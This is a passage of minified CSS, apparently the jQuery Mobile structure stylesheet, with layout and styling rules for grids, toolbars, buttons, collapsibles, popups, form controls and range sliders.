.ui-block-a,.ui-grid-c .ui-block-b,.ui-grid-c .ui-block-c,.ui-grid-c .ui-block-d{width:24.925%}.ui-grid-c >:nth-child(n){width:25%;margin-right:-.5px}.ui-grid-c .ui-block-a{clear:left}.ui-grid-d .ui-block-a,.ui-grid-d .ui-block-b,.ui-grid-d .ui-block-c,.ui-grid-d .ui-block-d,.ui-grid-d .ui-block-e{width:19.925%}.ui-grid-d >:nth-child(n){width:20%}.ui-grid-d .ui-block-a{clear:left}@media all and (max-width:35em){.ui-responsive .ui-block-a,.ui-responsive .ui-block-b,.ui-responsive .ui-block-c,.ui-responsive .ui-block-d,.ui-responsive .ui-block-e{width:100%;float:none}}.ui-header-fixed,.ui-footer-fixed{left:0;right:0;width:100%;position:fixed;z-index:1000}.ui-header-fixed{top:-1px;padding-top:1px}.ui-header-fixed.ui-fixed-hidden{top:0;padding-top:0}.ui-footer-fixed{bottom:-1px;padding-bottom:1px}.ui-footer-fixed.ui-fixed-hidden{bottom:0;padding-bottom:0}.ui-header-fullscreen,.ui-footer-fullscreen{filter:Alpha(Opacity=90);opacity:.9}.ui-page-header-fixed{padding-top:2.6875em}.ui-page-footer-fixed{padding-bottom:2.6875em}.ui-page-header-fullscreen > .ui-content,.ui-page-footer-fullscreen > .ui-content{padding:0}.ui-fixed-hidden{position:absolute}.ui-page-header-fullscreen .ui-fixed-hidden,.ui-page-footer-fullscreen .ui-fixed-hidden{left:-9999px}.ui-header-fixed .ui-btn,.ui-footer-fixed .ui-btn{z-index:10}.ui-android-2x-fixed .ui-li-has-thumb{-webkit-transform:translate3d(0,0,0)}.ui-navbar{max-width:100%}.ui-navbar.ui-mini{margin:0}.ui-navbar ul:before,.ui-navbar ul:after{content:" ";display:table}.ui-navbar ul:after{clear:both}.ui-navbar ul{list-style:none;margin:0;padding:0;position:relative;display:block;border:0;max-width:100%;overflow:visible;zoom:1}.ui-navbar li .ui-btn{display:block;text-align:center;margin:0 -1px 0 0;border-right-width:0}.ui-navbar li .ui-btn-icon-right .ui-icon{right:6px}.ui-navbar li:last-child .ui-btn,.ui-navbar .ui-grid-duo .ui-block-b .ui-btn{margin-right:0;border-right-width:1px}.ui-header .ui-navbar li:last-child .ui-btn,.ui-footer .ui-navbar li:last-child .ui-btn,.ui-header .ui-navbar .ui-grid-duo .ui-block-b .ui-btn,.ui-footer .ui-navbar .ui-grid-duo .ui-block-b .ui-btn{margin-right:-1px;border-right-width:0}.ui-navbar .ui-grid-duo li.ui-block-a:last-child .ui-btn{margin-right:-1px;border-right-width:1px}.ui-header .ui-navbar li .ui-btn,.ui-footer .ui-navbar li .ui-btn{border-top-width:0;border-bottom-width:0}.ui-header .ui-navbar .ui-grid-b li.ui-block-c .ui-btn,.ui-footer .ui-navbar .ui-grid-b li.ui-block-c .ui-btn{margin-right:-5px}.ui-header .ui-navbar .ui-grid-c li.ui-block-d .ui-btn,.ui-footer .ui-navbar .ui-grid-c li.ui-block-d .ui-btn,.ui-header .ui-navbar .ui-grid-d li.ui-block-e .ui-btn,.ui-footer .ui-navbar .ui-grid-d li.ui-block-e .ui-btn{margin-right:-4px}.ui-header .ui-navbar .ui-grid-b li.ui-block-c .ui-btn-icon-right .ui-icon,.ui-footer .ui-navbar .ui-grid-b li.ui-block-c .ui-btn-icon-right .ui-icon,.ui-header .ui-navbar .ui-grid-c li.ui-block-d .ui-btn-icon-right .ui-icon,.ui-footer .ui-navbar .ui-grid-c li.ui-block-d .ui-btn-icon-right .ui-icon,.ui-header .ui-navbar .ui-grid-d li.ui-block-e .ui-btn-icon-right .ui-icon,.ui-footer .ui-navbar .ui-grid-d li.ui-block-e .ui-btn-icon-right .ui-icon{right:8px}.ui-navbar li .ui-btn .ui-btn-inner{padding-top:.7em;padding-bottom:.8em}.ui-navbar li .ui-btn-icon-top .ui-btn-inner{padding-top:30px}.ui-navbar li .ui-btn-icon-bottom .ui-btn-inner{padding-bottom:30px}.ui-btn{display:block;text-align:center;cursor:pointer;position:relative;margin: 0;padding:0}.ui-mini{margin-top:.25em;margin-bottom:.25em}.ui-btn-left,.ui-btn-right,.ui-input-clear,.ui-btn-inline,.ui-grid-a .ui-btn,.ui-grid-b .ui-btn,.ui-grid-c .ui-btn,.ui-grid-d .ui-btn,.ui-grid-e .ui-btn,.ui-grid-solo .ui-btn{margin-right:5px;margin-left:5px}.ui-btn-inner{font-size:16px;padding:0 20px;height:33px;line-height:33px;margin:0;min-width:.75em;display:block;position:relative;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;zoom:1;font-weight:normal;}.ui-btn input,.ui-btn button{z-index:2}.ui-btn-left,.ui-btn-right,.ui-btn-inline{display:inline-block;vertical-align:middle}.ui-mobile .ui-btn-left,.ui-mobile .ui-btn-right,.ui-btn-left > .ui-btn,.ui-btn-right > .ui-btn{margin:0}.ui-btn-block{display:block}.ui-header > .ui-btn,.ui-footer > .ui-btn{display:inline-block;margin:0}.ui-header .ui-btn-block,.ui-footer .ui-btn-block{display:block}.ui-header .ui-btn-inner,.ui-footer .ui-btn-inner,.ui-mini .ui-btn-inner{font-size:12.5px;padding:.55em 11px .5em}.ui-fullsize .ui-btn-inner,.ui-fullsize .ui-btn-inner{font-size:16px;padding:.6em 20px}.ui-btn-icon-notext{width:24px;height:24px}.ui-btn-icon-notext .ui-btn-inner{padding:0;height:100%}.ui-btn-icon-notext .ui-btn-inner .ui-icon{margin:2px 1px 2px 3px;float:left}.ui-btn-text{position:relative;z-index:1;width:100%;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}div.ui-btn-text{width:auto}.ui-btn-icon-notext .ui-btn-text{position:absolute;left:-9999px}.ui-btn-icon-left .ui-btn-inner{padding-left:40px}.ui-btn-icon-right .ui-btn-inner{padding-right:40px}.ui-btn-icon-top .ui-btn-inner{padding-top:40px}.ui-btn-icon-bottom .ui-btn-inner{padding-bottom:40px}.ui-header .ui-btn-icon-left .ui-btn-inner,.ui-footer .ui-btn-icon-left .ui-btn-inner,.ui-mini.ui-btn-icon-left .ui-btn-inner,.ui-mini .ui-btn-icon-left .ui-btn-inner{padding-left:30px}.ui-header .ui-btn-icon-right .ui-btn-inner,.ui-footer .ui-btn-icon-right .ui-btn-inner,.ui-mini.ui-btn-icon-right .ui-btn-inner,.ui-mini .ui-btn-icon-right .ui-btn-inner{padding-right:30px}.ui-header .ui-btn-icon-top .ui-btn-inner,.ui-footer .ui-btn-icon-top .ui-btn-inner{padding:30px 3px .5em 3px}.ui-mini.ui-btn-icon-top .ui-btn-inner,.ui-mini .ui-btn-icon-top .ui-btn-inner{padding-top:30px}.ui-header .ui-btn-icon-bottom .ui-btn-inner,.ui-footer .ui-btn-icon-bottom .ui-btn-inner{padding:.55em 3px 30px 3px}.ui-mini.ui-btn-icon-bottom .ui-btn-inner,.ui-mini .ui-btn-icon-bottom .ui-btn-inner{padding-bottom:30px}.ui-btn-inner,.ui-btn-text{-webkit-border-radius:inherit;border-radius:inherit}.ui-btn-icon-notext .ui-icon{display:block;z-index:0}.ui-btn-icon-left > .ui-btn-inner > .ui-icon,.ui-btn-icon-right > .ui-btn-inner > .ui-icon{position:absolute;top:50%;margin-top:-9px}.ui-btn-icon-top .ui-btn-inner .ui-icon,.ui-btn-icon-bottom .ui-btn-inner .ui-icon{position:absolute;left:50%;margin-left:-9px}.ui-btn-icon-left .ui-icon{left:10px}.ui-btn-icon-right .ui-icon{right:10px}.ui-btn-icon-top .ui-icon{top:10px}.ui-btn-icon-bottom .ui-icon{top:auto;bottom:10px}.ui-header .ui-btn-icon-left .ui-icon,.ui-footer .ui-btn-icon-left .ui-icon,.ui-mini.ui-btn-icon-left .ui-icon,.ui-mini .ui-btn-icon-left .ui-icon{left:5px}.ui-header .ui-btn-icon-right .ui-icon,.ui-footer .ui-btn-icon-right .ui-icon,.ui-mini.ui-btn-icon-right .ui-icon,.ui-mini .ui-btn-icon-right .ui-icon{right:5px}.ui-header .ui-btn-icon-top .ui-icon,.ui-footer .ui-btn-icon-top .ui-icon,.ui-mini.ui-btn-icon-top .ui-icon,.ui-mini .ui-btn-icon-top .ui-icon{top:5px}.ui-header .ui-btn-icon-bottom .ui-icon,.ui-footer .ui-btn-icon-bottom .ui-icon,.ui-mini.ui-btn-icon-bottom .ui-icon,.ui-mini .ui-btn-icon-bottom .ui-icon{bottom:5px}.ui-btn-hidden{position:absolute;top:0;left:0;width:100%;height:100%;-webkit-appearance:none;cursor:pointer;background:#fff;background:rgba(255,255,255,0);filter:Alpha(Opacity=0);opacity:.1;font-size:1px;border:none;text-indent:-9999px}.ui-disabled .ui-btn-hidden{display:none}.ui-disabled{z-index:1}.ui-field-contain .ui-btn.ui-submit{margin:0}label.ui-submit{font-size:16px;line-height:1.4;font-weight:normal;margin:0 0 .3em;display:block}@media all and (min-width:28em){.ui-field-contain label.ui-submit{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain .ui-btn.ui-submit{width:78%;display:inline-block;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.ui-hide-label .ui-btn.ui-submit{width:auto;display:block}}.ui-collapsible-inset{margin:.5em 0}.ui-collapsible-heading{font-size:16px;display:block;margin:0 -15px;padding:0;position:relative}.ui-collapsible-inset .ui-collapsible-heading{margin:0}.ui-collapsible-heading .ui-btn{text-align:left;margin:0;border-left-width:0;border-right-width:0}.ui-collapsible-inset .ui-collapsible-heading .ui-btn{border-right-width:1px;border-left-width:1px}.ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn{border-top-width:0}.ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn{border-top-width:1px}.ui-collapsible-heading .ui-btn-inner{padding-left:12px;padding-right:12px}.ui-collapsible-heading .ui-btn-icon-left .ui-btn-inner{padding-left:40px}.ui-collapsible-heading .ui-btn-icon-right .ui-btn-inner{padding-right:40px}.ui-collapsible-heading .ui-btn-icon-top .ui-btn-inner,.ui-collapsible-heading .ui-btn-icon-bottom .ui-btn-inner{text-align:center}.ui-collapsible-heading .ui-btn-icon-left.ui-mini .ui-btn-inner{padding-left:30px}.ui-collapsible-heading .ui-btn-icon-right.ui-mini .ui-btn-inner{padding-right:30px}.ui-collapsible-heading .ui-btn span.ui-btn{position:absolute;left:6px;top:50%;margin:-12px 0 0 0;width:20px;height:20px;padding:1px 0 1px 2px;text-indent:-9999px}.ui-collapsible-heading .ui-btn span.ui-btn .ui-btn-inner{padding:10px 0}.ui-collapsible-heading .ui-btn span.ui-btn .ui-icon{left:0;margin-top:-10px}.ui-collapsible-heading-status{position:absolute;top:-9999px;left:0}.ui-collapsible-content{display:block;margin:0 -15px;padding:10px 15px;border-left-width:0;border-right-width:0;border-top:none;background-image:none}.ui-collapsible-inset .ui-collapsible-content{margin:0;border-right-width:1px;border-left-width:1px}.ui-collapsible-content-collapsed{display:none}.ui-collapsible-set > .ui-collapsible.ui-corner-all{-webkit-border-radius:0;border-radius:0}.ui-collapsible-heading,.ui-collapsible-heading > .ui-btn{-webkit-border-radius:inherit;border-radius:inherit}.ui-collapsible-set .ui-collapsible.ui-first-child{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit;-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit}.ui-collapsible-content,.ui-collapsible-set .ui-collapsible.ui-last-child{-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit;-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading{-webkit-border-bottom-right-radius:0;border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0}.ui-collapsible-set{margin:.5em 0}.ui-collapsible-set .ui-collapsible{margin:-1px 0 0}.ui-collapsible-set .ui-collapsible.ui-first-child{margin-top:0}.ui-controlgroup,fieldset.ui-controlgroup{padding:0;margin:.5em 0;zoom:1}.ui-controlgroup.ui-mini,fieldset.ui-controlgroup.ui-mini{margin:.25em 0}.ui-field-contain .ui-controlgroup,.ui-field-contain fieldset.ui-controlgroup{margin:0}.ui-bar .ui-controlgroup{margin:0 5px}.ui-controlgroup-label{font-size:16px;line-height:1.4;font-weight:normal;margin:0 0 .4em}.ui-controlgroup-controls label.ui-select,.ui-controlgroup-controls label.ui-submit{position:absolute;left:-9999px}.ui-controlgroup li{list-style:none}.ui-controlgroup .ui-btn{margin:0}.ui-controlgroup .ui-btn-icon-notext{width:auto;height:auto;top:auto}.ui-controlgroup .ui-btn-icon-notext .ui-btn-inner{height:20px;padding:.6em 20px .6em 20px}.ui-controlgroup-horizontal .ui-btn-icon-notext .ui-btn-inner{width:18px}.ui-controlgroup.ui-mini .ui-btn-icon-notext .ui-btn-inner,.ui-header .ui-controlgroup .ui-btn-icon-notext .ui-btn-inner,.ui-footer .ui-controlgroup .ui-btn-icon-notext .ui-btn-inner{height:16px;padding:.55em 11px .5em 11px}.ui-controlgroup .ui-btn-icon-notext .ui-btn-inner .ui-icon{position:absolute;top:50%;right:50%;margin:-9px -9px 0 0}.ui-controlgroup-horizontal .ui-btn-inner{text-align:center}.ui-controlgroup-horizontal.ui-mini .ui-btn-inner{height:16px;line-height:16px}.ui-controlgroup .ui-checkbox label,.ui-controlgroup .ui-radio label{font-size:16px}.ui-controlgroup-horizontal .ui-controlgroup-controls:before,.ui-controlgroup-horizontal .ui-controlgroup-controls:after{content:"";display:table}.ui-controlgroup-horizontal .ui-controlgroup-controls:after{clear:both}.ui-controlgroup-horizontal .ui-controlgroup-controls{display:inline-block;vertical-align:middle;zoom:1}.ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn,.ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn,.ui-controlgroup-horizontal .ui-checkbox,.ui-controlgroup-horizontal .ui-radio,.ui-controlgroup-horizontal .ui-select{float:left;clear:none;margin:0}.ui-controlgroup-horizontal .ui-select .ui-btn-text{width:auto}.ui-controlgroup-vertical .ui-btn{border-bottom-width:0}.ui-controlgroup-vertical .ui-btn.ui-last-child{border-bottom-width:1px}.ui-controlgroup-horizontal .ui-btn{border-right-width:0}.ui-controlgroup-horizontal .ui-btn.ui-last-child{border-right-width:1px}.ui-controlgroup .ui-btn-corner-all{-webkit-border-radius:0;border-radius:0}.ui-controlgroup .ui-controlgroup-controls,.ui-controlgroup .ui-radio,.ui-controlgroup .ui-checkbox,.ui-controlgroup .ui-select,.ui-controlgroup li{-webkit-border-radius:inherit;border-radius:inherit}.ui-controlgroup-vertical .ui-btn.ui-first-child{-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit;-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit}.ui-controlgroup-vertical .ui-btn.ui-last-child{-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit;-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-controlgroup-horizontal .ui-btn.ui-first-child{-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit;-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-controlgroup-horizontal .ui-btn.ui-last-child{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit;-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-controlgroup .ui-shadow:not(.ui-focus){-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none}@media all and (min-width:28em){.ui-field-contain .ui-controlgroup-label{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain .ui-controlgroup-controls{width:78%;display:inline-block}.ui-field-contain .ui-controlgroup .ui-select{width:100%;display:block}.ui-field-contain .ui-controlgroup-horizontal .ui-select{width:auto}.ui-hide-label .ui-controlgroup-controls{width:100%}}.ui-dialog{background:none!important}.ui-dialog-contain{width:92.5%;max-width:500px;margin:10% auto 15px auto;padding:0;position:relative;top:-15px}.ui-dialog-contain > .ui-header,.ui-dialog-contain > .ui-content,.ui-dialog-contain > .ui-footer{display:block;position:relative;width:auto;margin:0}.ui-dialog-contain > .ui-header{border:none;overflow:hidden;z-index:10;padding:0}.ui-dialog-contain > .ui-content{padding:15px}.ui-dialog-contain > .ui-footer{z-index:10;padding:0 15px}.ui-popup-open .ui-header-fixed,.ui-popup-open .ui-footer-fixed{position:absolute!important}.ui-popup-screen{background-image:url(data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==);top:0;left:0;right:0;bottom:1px;position:absolute;filter:Alpha(Opacity=0);opacity:0;z-index:1099}.ui-popup-screen.in{opacity:0.5;filter:Alpha(Opacity=50)}.ui-popup-screen.out{opacity:0;filter:Alpha(Opacity=0)}.ui-popup-container{z-index:1100;display:inline-block;position:absolute;padding:0;outline:0}.ui-popup{position:relative}.ui-popup.ui-content,.ui-popup .ui-content{overflow:visible}.ui-popup > p,.ui-popup > h1,.ui-popup > h2,.ui-popup > h3,.ui-popup > h4,.ui-popup > h5,.ui-popup > h6{margin:.5em 7px}.ui-popup > span{display:block;margin:.5em 7px}.ui-popup .ui-title{font-size:16px;font-weight:bold;margin-top:.5em;margin-bottom:.5em}.ui-popup-container .ui-content > p,.ui-popup-container .ui-content > h1,.ui-popup-container .ui-content > h2,.ui-popup-container .ui-content > h3,.ui-popup-container .ui-content > h4,.ui-popup-container .ui-content > h5,.ui-popup-container .ui-content > h6{margin:.5em 0}.ui-popup-container .ui-content > span{margin:0}.ui-popup-container .ui-content > p:first-child,.ui-popup-container .ui-content > h1:first-child,.ui-popup-container .ui-content > h2:first-child,.ui-popup-container .ui-content > h3:first-child,.ui-popup-container .ui-content > h4:first-child,.ui-popup-container .ui-content > h5:first-child,.ui-popup-container .ui-content > h6:first-child{margin-top:0}.ui-popup-container .ui-content > p:last-child,.ui-popup-container .ui-content > h1:last-child,.ui-popup-container .ui-content > h2:last-child,.ui-popup-container .ui-content > h3:last-child,.ui-popup-container .ui-content > h4:last-child,.ui-popup-container .ui-content > h5:last-child,.ui-popup-container .ui-content > h6:last-child{margin-bottom:0}.ui-popup > img{width:auto;height:auto;max-width:100%;max-height:100%;vertical-align:middle}.ui-popup:not(.ui-content) > img:only-child,.ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child,.ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child{-webkit-border-radius:inherit;border-radius:inherit}.ui-popup iframe{vertical-align:middle}@media all and (min-width:28em){.ui-popup .ui-field-contain label.ui-submit,.ui-popup .ui-field-contain .ui-controlgroup-label,.ui-popup .ui-field-contain label.ui-select,.ui-popup .ui-field-contain label.ui-input-text{font-size:16px;line-height:1.4;display:block;font-weight:normal;margin:0 0 .3em}.ui-popup .ui-field-contain .ui-btn.ui-submit,.ui-popup .ui-field-contain .ui-controlgroup-controls,.ui-popup .ui-field-contain .ui-select,.ui-popup .ui-field-contain input.ui-input-text,.ui-popup .ui-field-contain textarea.ui-input-text,.ui-popup .ui-field-contain .ui-input-search{width:100%;display:block}}.ui-popup > .ui-btn-left,.ui-popup > .ui-btn-right{position:absolute;top:-9px;margin:0;z-index:1101}.ui-popup > .ui-btn-left{left:-9px}.ui-popup > .ui-btn-right{right:-9px}.ui-popup-hidden{top:-99999px;left:-9999px}.ui-checkbox,.ui-radio{position:relative;clear:both;margin:0;z-index:1}.ui-checkbox .ui-btn,.ui-radio .ui-btn{text-align:left;z-index:2}.ui-controlgroup .ui-checkbox .ui-btn,.ui-controlgroup .ui-radio .ui-btn{margin:0}.ui-checkbox .ui-btn-inner,.ui-radio .ui-btn-inner{white-space:normal}.ui-checkbox .ui-btn-icon-left .ui-btn-inner,.ui-radio .ui-btn-icon-left .ui-btn-inner{padding-left:45px}.ui-checkbox .ui-mini.ui-btn-icon-left .ui-btn-inner,.ui-radio .ui-mini.ui-btn-icon-left .ui-btn-inner{padding-left:36px}.ui-checkbox .ui-btn-icon-right .ui-btn-inner,.ui-radio .ui-btn-icon-right .ui-btn-inner{padding-right:45px}.ui-checkbox .ui-mini.ui-btn-icon-right .ui-btn-inner,.ui-radio .ui-mini.ui-btn-icon-right .ui-btn-inner{padding-right:36px}.ui-checkbox .ui-btn-icon-top .ui-btn-inner,.ui-radio .ui-btn-icon-top .ui-btn-inner{padding-right:0;padding-left:0;text-align:center}.ui-checkbox .ui-btn-icon-bottom .ui-btn-inner,.ui-radio .ui-btn-icon-bottom .ui-btn-inner{padding-right:0;padding-left:0;text-align:center}.ui-checkbox .ui-icon,.ui-radio .ui-icon{top:1.1em}.ui-checkbox .ui-btn-icon-left .ui-icon,.ui-radio .ui-btn-icon-left .ui-icon{left:15px}.ui-checkbox .ui-mini.ui-btn-icon-left .ui-icon,.ui-radio .ui-mini.ui-btn-icon-left .ui-icon{left:9px}.ui-checkbox .ui-btn-icon-right .ui-icon,.ui-radio .ui-btn-icon-right .ui-icon{right:15px}.ui-checkbox .ui-mini.ui-btn-icon-right .ui-icon,.ui-radio .ui-mini.ui-btn-icon-right .ui-icon{right:9px}.ui-checkbox .ui-btn-icon-top .ui-icon,.ui-radio .ui-btn-icon-top .ui-icon{top:10px}.ui-checkbox .ui-btn-icon-bottom .ui-icon,.ui-radio .ui-btn-icon-bottom .ui-icon{top:auto;bottom:10px}.ui-checkbox .ui-btn-icon-right .ui-icon,.ui-radio .ui-btn-icon-right .ui-icon{right:15px}.ui-checkbox .ui-mini.ui-btn-icon-right .ui-icon,.ui-radio .ui-mini.ui-btn-icon-right .ui-icon{right:9px}.ui-controlgroup-horizontal .ui-checkbox .ui-icon,.ui-controlgroup-horizontal .ui-radio .ui-icon{display:none}.ui-controlgroup-horizontal .ui-checkbox .ui-btn-inner,.ui-controlgroup-horizontal .ui-radio .ui-btn-inner{padding:.6em 20px}.ui-controlgroup-horizontal .ui-checkbox .ui-mini .ui-btn-inner,.ui-controlgroup-horizontal .ui-radio .ui-mini .ui-btn-inner{padding:.55em 11px .5em}.ui-checkbox input,.ui-radio input{position:absolute;left:20px;top:50%;width:10px;height:10px;margin:-5px 0 0 0;outline:0!important;z-index:1}.ui-field-contain,fieldset.ui-field-contain{padding:.8em 0;margin:0;border-width:0 0 1px 0;overflow:visible}.ui-field-contain:last-child{border-bottom-width:0}.ui-field-contain{max-width:100%}@media all and (min-width:28em){.ui-field-contain,.ui-mobile fieldset.ui-field-contain{border-width:0;padding:0;margin:1em 0}}.ui-select{display:block;position:relative}.ui-select select{position:absolute;left:-9999px;top:-9999px}.ui-select .ui-btn{opacity:1}.ui-field-contain .ui-select .ui-btn{margin:0}.ui-select .ui-btn select{cursor:pointer;-webkit-appearance:none;left:0;top:0;width:100%;min-height:1.5em;min-height:100%;height:3em;max-height:100%;filter:Alpha(Opacity=0);opacity:0;z-index:2}.ui-select .ui-disabled{opacity:.3}.ui-select .ui-disabled select{display:none}@-moz-document url-prefix(){.ui-select .ui-btn select{opacity:0.0001}}.ui-select .ui-btn.ui-select-nativeonly{border-radius:0;border:0}.ui-select .ui-btn.ui-select-nativeonly select{opacity:1;text-indent:0;display:block}.ui-select .ui-disabled.ui-select-nativeonly .ui-btn-inner{opacity:0}.ui-select .ui-btn-icon-right .ui-btn-inner,.ui-select .ui-li-has-count .ui-btn-inner{padding-right:45px}.ui-select .ui-mini.ui-btn-icon-right .ui-btn-inner{padding-right:32px}.ui-select .ui-btn-icon-right.ui-li-has-count .ui-btn-inner{padding-right:80px}.ui-select .ui-mini.ui-btn-icon-right.ui-li-has-count .ui-btn-inner{padding-right:67px}.ui-select .ui-btn-icon-right .ui-icon{right:15px}.ui-select .ui-mini.ui-btn-icon-right .ui-icon{right:7px}.ui-select .ui-btn-icon-right.ui-li-has-count .ui-li-count{right:45px}.ui-select .ui-mini.ui-btn-icon-right.ui-li-has-count .ui-li-count{right:32px}label.ui-select{font-size:16px;line-height:1.4;font-weight:normal;margin:0 0 .3em;display:block}.ui-select .ui-btn-text,.ui-selectmenu .ui-btn-text{display:block;min-height:1em;overflow:hidden!important}.ui-select .ui-btn-text{text-overflow:ellipsis}.ui-selectmenu{padding:6px;min-width:160px}.ui-selectmenu .ui-listview{margin:0}.ui-selectmenu .ui-btn.ui-li-divider{cursor:default}.ui-screen-hidden,.ui-selectmenu-list .ui-li .ui-icon{display:none}.ui-selectmenu-list .ui-li .ui-icon{display:block}.ui-li.ui-selectmenu-placeholder{display:none}.ui-selectmenu .ui-header{margin:0;padding:0}.ui-selectmenu.ui-popup .ui-header{-webkit-border-top-left-radius:0;border-top-left-radius:0;-webkit-border-top-right-radius:0;border-top-right-radius:0}.ui-selectmenu .ui-header .ui-title{margin:0.6em 46px 0.8em}@media all and (min-width:28em){.ui-field-contain label.ui-select{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain .ui-select{width:78%;display:inline-block}.ui-hide-label .ui-select{width:100%}}.ui-selectmenu .ui-header h1:after{content:'.';visibility:hidden}label.ui-input-text{font-size:16px;line-height:1.4;display:block;font-weight:normal;margin:0 0 .3em}input.ui-input-text,textarea.ui-input-text{background-image:none;padding:.4em;margin:.5em 0;min-height:1.4em;line-height:1.4em;font-size:16px;display:block;width:100%;outline:0}input.ui-mini,.ui-mini input,textarea.ui-mini{font-size:14px}div.ui-input-text input.ui-input-text,div.ui-input-text textarea.ui-input-text,.ui-input-search input.ui-input-text{border:none;/*width:100%;padding:.4em 0;*/margin:0;display:block;/*background:transparent none;*/outline:0!important}.ui-input-search,div.ui-input-text{margin:.5em 0;background-image:none;position:relative}.ui-input-search{padding:0 30px}div.ui-input-text{padding:0 .4em}div.ui-input-has-clear{padding:0 30px 0 .4em}input.ui-input-text.ui-mini,textarea.ui-input-text.ui-mini,.ui-input-search.ui-mini,div.ui-input-text.ui-mini{margin:.25em 0}.ui-field-contain input.ui-input-text,.ui-field-contain textarea.ui-input-text,.ui-field-contain .ui-input-search,.ui-field-contain div.ui-input-text{margin:0}textarea.ui-input-text{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}input.ui-input-text{-webkit-appearance:none}textarea.ui-input-text{height:50px;-webkit-transition:height 200ms linear;-moz-transition:height 200ms linear;-o-transition:height 200ms linear;transition:height 200ms linear}textarea.ui-mini{height:45px}.ui-icon-searchfield:after{position:absolute;left:7px;top:50%;margin-top:-9px;content:"";width:18px;height:18px;opacity:.5}.ui-input-search .ui-input-clear,.ui-input-text .ui-input-clear{position:absolute;right:0;top:50%;margin-top:-13px}.ui-mini .ui-input-clear{margin-top:-14px;right:-3px}.ui-input-search .ui-input-clear-hidden,.ui-input-text .ui-input-clear-hidden{display:none}input::-moz-placeholder,textarea::-moz-placeholder{color:#aaa}input[type=number]::-webkit-outer-spin-button{margin:0}@media all and (min-width:28em){.ui-field-contain label.ui-input-text{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain input.ui-input-text,.ui-field-contain textarea.ui-input-text,.ui-field-contain .ui-input-search,.ui-field-contain div.ui-input-text{width:78%;display:inline-block}.ui-field-contain .ui-input-search,.ui-field-contain div.ui-input-text{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.ui-hide-label input.ui-input-text,.ui-hide-label textarea.ui-input-text,.ui-hide-label .ui-input-search,.ui-hide-label div.ui-input-text,.ui-input-search input.ui-input-text,div.ui-input-text input.ui-input-text{/*width:100%*/}}.ui-rangeslider{zoom:1;margin:0}.ui-rangeslider:before,.ui-rangeslider:after{content:"";display:table}.ui-rangeslider:after{clear:both}.ui-rangeslider input.ui-input-text.ui-slider-input{margin:.57143em 0}.ui-rangeslider.ui-mini input.ui-slider-input{margin:.28571em 0}.ui-rangeslider input.ui-slider-input.ui-rangeslider-last{float:right}.ui-rangeslider .ui-rangeslider-sliders{position:relative;overflow:visible;height:30px;margin:.5em 68px}.ui-rangeslider.ui-mini .ui-rangeslider-sliders{margin:.25em 68px}.ui-field-contain .ui-rangeslider input.ui-slider-input,.ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input,.ui-field-contain .ui-rangeslider .ui-rangeslider-sliders,.ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders{margin-top:0;margin-bottom:0}.ui-rangeslider .ui-rangeslider-sliders .ui-slider-track{position:absolute;top:6px;right:0;left:0;margin:0}.ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track{top:8px}.ui-rangeslider .ui-slider-track:first-child .ui-slider-bg{display:none}.ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child{background-color:transparent;background:none;border-width:0;height:0}html >body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child{height:12px}@media all and (min-width:28em){.ui-field-contain .ui-rangeslider label.ui-slider{float:left}.ui-field-contain .ui-rangeslider input.ui-slider-input{position:relative;z-index:1}.ui-field-contain .ui-rangeslider input.ui-slider-input.ui-rangeslider-first,.ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input.ui-rangeslider-first{margin-right:17px}.ui-field-contain .ui-rangeslider .ui-rangeslider-sliders,.ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders{float:left;width:78%;margin:0 -68px}.ui-field-contain .ui-rangeslider .ui-slider-track,.ui-field-contain .ui-rangeslider.ui-mini .ui-slider-track{right:68px;left:68px}.ui-field-contain.ui-hide-label .ui-rangeslider input.ui-slider-input.ui-rangeslider-first{margin:0}.ui-field-contain.ui-hide-label .ui-rangeslider .ui-rangeslider-sliders,.ui-field-contain.ui-hide-label .ui-rangeslider.ui-mini .ui-rangeslider-sliders{width:auto;float:none;margin:0 68px}.ui-field-contain.ui-hide-label .ui-rangeslider 